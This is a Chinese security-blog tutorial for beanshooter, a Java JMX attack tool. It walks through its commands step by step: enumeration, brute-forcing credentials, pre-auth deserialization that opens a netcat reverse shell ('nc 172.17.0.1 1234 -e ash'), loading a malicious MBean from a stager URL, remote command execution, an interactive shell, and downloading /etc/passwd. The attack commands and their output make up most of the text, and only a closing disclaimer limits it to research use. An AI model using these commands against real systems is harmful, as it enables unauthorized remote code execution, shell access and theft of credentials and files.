【神兵利器】JAVA JMX漏洞利用工具

admin 2024年11月29日00:10:15评论46 views字数 6342阅读21分8秒阅读模式

基本介绍

beanshooter是一个JMX枚举和攻击工具,有助于识别JMX端点上的常见漏洞并提供了丰富的漏洞利用载荷和利用方式

工具编译

我们也可以通过beanshooter来枚举并注册EvilBean到JMXServer端,首先我们需要去下载beanshooter工具到本地,随后下到本地并进行打包

cd beanshootermvn package

【神兵利器】JAVA JMX漏洞利用工具

基本使用

基本操作是可以在JMX服务上执行的通用操作,这些操作通常不以特定的MBean为目标或者以没有beanshooter内置支持的MBean为目标

帮助信息
java -jar beanshooter.jar -h

【神兵利器】JAVA JMX漏洞利用工具

信息收集

info操作可用于获取可用的属性信息:

(1) 未授权模式:

java -jar beanshooter.jar info 172.17.0.2 9010

【神兵利器】JAVA JMX漏洞利用工具

(2) 授权认证模式

java -jar beanshooter.jar info 172.17.0.2 1090 --username admin --password admin

【神兵利器】JAVA JMX漏洞利用工具

在没有附加参数的情况下调用时将打印所有可用MBeans的方法和属性信息,在指定附加ObjectName时仅打印指定MBean的方法和属性信息

java -jar beanshooter.jar info 172.17.0.2 9010 java.lang:type=Memory

【神兵利器】JAVA JMX漏洞利用工具

属性变更

attr模式下可以获取并显示指定属性的值:

java -jar beanshooter.jar attr 172.17.0.2 9010 java.lang:type=Memory Verbose

【神兵利器】JAVA JMX漏洞利用工具

如果我们传入其他附加的参数值,那么beanshooter会去尝试设置相应的属性,对于类型不同于字符串的属性则需要使用"-type"选项指定属性类型,例如:

java -jar beanshooter.jar attr 172.17.0.2 9010 java.lang:type=Memory Verbose true --type booleanjava -jar beanshooter.jar attr 172.17.0.2 9010 java.lang:type=Memory Verbose

【神兵利器】JAVA JMX漏洞利用工具

爆破操作

我们可以通过brute模块来对JMX服务进行暴力猜解攻击:

(1) 默认模式

java -jar beanshooter.jar brute 172.17.0.2 1090

【神兵利器】JAVA JMX漏洞利用工具

(2) 字典模式

用户可以按需指定用于进行暴力枚举的字典进行爆破尝试攻击,例如:

【神兵利器】JAVA JMX漏洞利用工具

枚举操作

enum操作用于枚举JMX的配置信息,它总是会去检查JMX端点是否需要"身份验证"以及是否"允许预先身份验证的任意反序列化":

java -jar beanshooter.jar enum 172.17.0.2 1090

【神兵利器】JAVA JMX漏洞利用工具

如果当不需要身份验证或者当指定了有效的凭据时,enum操作还会尝试从JMX端点枚举一些进一步的信息,包括非默认MBeans的列表,例如:在Apache tomcat服务器上注册的用户帐户

java -jar beanshooter.jar enum 172.17.0.2 9010

【神兵利器】JAVA JMX漏洞利用工具

在受SASL保护的端点上调用enum操作时,beanshooter将试图枚举服务器配置的SASL配置文件,这仅在一定程度上存在可能并且无法枚举服务器的TLS配置,如果beanshooter识别SASL配置文件不起作用,则应该总是在使用/不使用-ssl选项的情况下重试

java -jar beanshooter.jar enum 172.17.0.2 4447 --jmxmp

【神兵利器】JAVA JMX漏洞利用工具

列举操作

list操作打印远程JMX服务上所有已注册MBeans的列表

java -jar beanshooter.jar list 172.17.0.2 9010

【神兵利器】JAVA JMX漏洞利用工具

模型操作

model action实现了Markus Wulftange提出的一种技术,允许使用者调用Java的任意公共类和静态方法,此外还可以在用户创建的对象实例上调用公共对象方法,唯一的要求是所使用的方法参数和所提供的对象实例(对于非静态方法)是可序列化的,下面介绍了一个使用示例,其中File对象作为对象实例提供并对其调用String[] list()操作:

java -jar beanshooter.jar model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.io.File 'new java.io.File("/")'

【神兵利器】JAVA JMX漏洞利用工具

java -jar beanshooter.jar invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'

【神兵利器】JAVA JMX漏洞利用工具

setManagedResource方法也是可用的,它可以用于更改要操作的对象实例:

java -jar beanshooter.jar invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'setManagedResource(Object a, String b)' 'new java.io.File("/etc")' objectReference[+] Call was successful.java -jar beanshooter.jar invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'apkshadowcrontabssysctl.confnsswitch.confprofile.dgroupservicesprotocolsnetworkoptlogrotate.dissuepasswdinit.dudhcpd.confalpine-releasemotdhostssysctl.dfstabinittabsslperiodicssl1.1os-releasemodulessecurettyprofilemodprobe.dhostnameconf.dmodules-load.dmtabshellssecfixes.dresolv.confroot@RedTeam:~#

【神兵利器】JAVA JMX漏洞利用工具

反序列化

serial操作可用于在JMX端点上执行反序列化攻击,默认情况下该操作会尝试验证后反序列化攻击,要做到这一点您需要将JMX服务定位为允许未经身份验证的访问或者您需要有效的凭据

Step 1:开启监听

nc -lnvp 1234

【神兵利器】JAVA JMX漏洞利用工具

Step 2:发起反序列化请求,如果出现下面的错误提示则说明是未配置yso.jar的路径

java -jar beanshooter.jar serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 1234 -e ash" --username admin --password admin

【神兵利器】JAVA JMX漏洞利用工具

随后正常执行后可以成功反弹shell回来:

【神兵利器】JAVA JMX漏洞利用工具

JMX服务也容易受到预先验证的反序列化攻击,要滥用这一点,您可以使用-preauth开关

java -jar beanshooter.jar serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --preauth

【神兵利器】JAVA JMX漏洞利用工具

备注:针对JMXMP端点预先验证的反序列化通常是可能的,不幸的是在枚举操作中没有办法正确地枚举它,如果您遇到一个JMXMP端点,您应该试一试

MBeans

MBean操作与针对JMX端点所暴露的通用功能的基本操作相比则是针对特定的MBean,Beanshooter对于每个支持的MBean都提供了另一个子解析器,其中包含相应MBean的可用操作和选项,以下列表展示了mlet MBean及其关联子解析器的示例:

java -jar beanshooter.jar mlet -h

【神兵利器】JAVA JMX漏洞利用工具

Generic

Generic MBean操作反映了基本操作的功能,但不需要指定ObjectName

攻击操作

attr操作与基本操作中的attr操作相同,然而不再需要指定ObjectName,因为它已包含在所指定的MBean中

 java -jar beanshooter.jar tomcat attr 172.17.0.2 1090 users

【神兵利器】JAVA JMX漏洞利用工具

部署操作

deploy操作基本上与上面的deploy操作相同,然而由于ClassName、ObjectName和实现的JAR文件都已与指定的MBean关联,因此您只需在此操作中指定--stager-url选项(假设内置的jar文件可用):

java -jar beanshooter.jar tonka deploy 172.17.0.2 9010 --stager-url http://172.17.0.1:8000

【神兵利器】JAVA JMX漏洞利用工具

导出操作

在有时候我们会发现无法通过beanshooter的stager服务器提供MBean实现,常见的情况之一是向本地机器的出站连接被阻止,在这种情况下我们可能希望从其他位置加载MBean,例如:在具有写入权限的内部网络中的SMB服务,export操作导出实现指定MBean的jar文件以及加载MBean所需的相应MLet HTML文档,假设我们从监听在10.10.10.5的SMB服务提供TonkaBean,那么可以使用以下命令:

[qtc@devbox ~]$ beanshooter tonka export --export-dir export --stager-url file:////10.10.10.5/share/[+] Exporting MBean jar file: export/tonka-bean-3.0.0-jar-with-dependencies.jar[+] Exporting MLet HTML file to: export/index.html[+]   Class:     de.qtc.beanshooter.tonkabean.TonkaBean[+]   Archive:   tonka-bean-3.0.0-jar-with-dependencies.jar[+]   Object:    MLetTonkaBean:name=TonkaBean,id=1[+]   Codebase:  file:////10.10.10.5/share/
常用信息

info操作列出指定MBean的方法和属性信息:

java -jar beanshooter.jar tomcat info 172.17.0.2 1090

【神兵利器】JAVA JMX漏洞利用工具

常规调用

invoke操作可用于在指定的MBean上调用任意方法:

java -jar beanshooter.jar tomcat invoke 172.17.0.2 1090 --signature 'findUser(String username)' admin

【神兵利器】JAVA JMX漏洞利用工具

选项信息

stats操作列出指定MBean的一些基本信息,这些信息是beanshooter本地存储的与相应MBean相关的数据,无需与服务器进行交互,Jar文件信息指示相应MBean的实现是否内置在beanshooter中,如果未使用--jar-file选项覆盖,则在部署过程中将使用该jar文件,目前TonkaBean是唯一一个具有可用Jar文件的MBean

java -jar beanshooter.jar tonka stats

【神兵利器】JAVA JMX漏洞利用工具

状态查询

status操作检查相应的MBean是否已在JMX服务上可用

java -jar beanshooter.jar tonka status 172.17.0.2 9010

【神兵利器】JAVA JMX漏洞利用工具

卸载操作

undeploy操作从远程JMX服务中移除指定的MBean:

java -jar beanshooter.jar tonka undeploy 172.17.0.2 9010

【神兵利器】JAVA JMX漏洞利用工具

MLet

MLetMBean是一个众所周知的MBean,它可以用于通过网络加载额外的MBean,它已经被beanshooter的部署操作隐式使用,同时也可以通过mlet操作手动调用

MLet Load

目前唯一实现的MLet方法是load操作,可用于从用户指定的URL加载MBean类:

java -jar beanshooter.jar mlet load 172.17.0.2 9010 tonka http://172.17.0.1:8000

【神兵利器】JAVA JMX漏洞利用工具

上述示例演示了如何使用mlet操作手动加载TonkaBean,如果您想要加载自定义MBean,则需要指定关键字custom而不是tonka,并提供--class-name、--object-name和--jar-file选项:

java -jar beanshooter.jar mlet load 172.17.0.2 9010 custom http://172.17.0.1:8000 --class-name Evil --object-name Evil:name=Evil,id=1 --jar-file /root/jmx/JMXPayload.jar

【神兵利器】JAVA JMX漏洞利用工具

TONKA

TonkaBean是由beanshooter项目实现的自定义MBean,允许在JMX服务器上访问文件系统和执行命令,可以通过使用tonka操作来访问其所需的功能

Tonka Exec

exec操作可用于在RMI服务上执行单个命令:

java -jar beanshooter.jar tonka exec 172.17.0.2 9010 id

【神兵利器】JAVA JMX漏洞利用工具

exec操作的最后一个参数预期为字符串,当未使用"--shell"选项时,该字符串会在空格处拆分(考虑引号)并作为数组传递给服务器端的ProcessBuilder类,如果使用了"--shell"则指定的shell字符串会在空格处拆分,生成的数组与指定的参数字符串连接后再传递给ProcessBuilder类,这允许以类似shell的方式执行并正确解释shell特殊字符:

java -jar beanshooter.jar tonka exec 172.17.0.2 9010 --shell 'ash -c' 'echo $HOSTNAME'

【神兵利器】JAVA JMX漏洞利用工具

备注:为了方便起见,常见的shell会自动附加所需的命令字符串参数,因此"--shell ash"会自动转换为--shell 'ash -c'

Tonka Execarray

execarray操作与exec动作非常相似,但它不是期望一个字符串作为参数并在空格处分割该字符串以构建命令数组,而是允许指定多个参数,这些参数将直接作为ProcessBuilder类的命令数组使用:

java -jar beanshooter.jar tonka execarray 172.17.0.2 9010 -- ash -c 'echo $HOME'

【神兵利器】JAVA JMX漏洞利用工具

Tonka Shell

shell操作会启动一个命令行shell,您可以在其中指定将在JMX服务器上执行的命令,该shell并不是完全交互式的,只是对Java的Runtime.exec方法的一个封装,然而它实现了对环境变量和当前工作目录的基本支持:

java -jar beanshooter.jar tonka shell 172.17.0.2 9010

【神兵利器】JAVA JMX漏洞利用工具

上面的示例演示了如何使用!env关键字设置环境变量,除了这个关键字,还有其他几个可用的关键字:

【神兵利器】JAVA JMX漏洞利用工具

Tonka Upload

upload操作可用于将文件上传到JMX服务器

java -jar beanshooter.jar tonka upload 172.17.0.2 9010 file.dat /tmp

【神兵利器】JAVA JMX漏洞利用工具

Tonka Download

download操作可用于从JMX服务器下载文件:

java -jar beanshooter.jar tonka download 172.17.0.2 9010 /etc/passwd

【神兵利器】JAVA JMX漏洞利用工具

下载地址

JMX漏洞利用工具:
https://github.com/qtc-de/beanshooter

原文始发于微信公众号(七芒星实验室):【神兵利器】JAVA JMX漏洞利用工具

 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月29日00:10:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【神兵利器】JAVA JMX漏洞利用工具https://cn-sec.com/archives/3443180.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息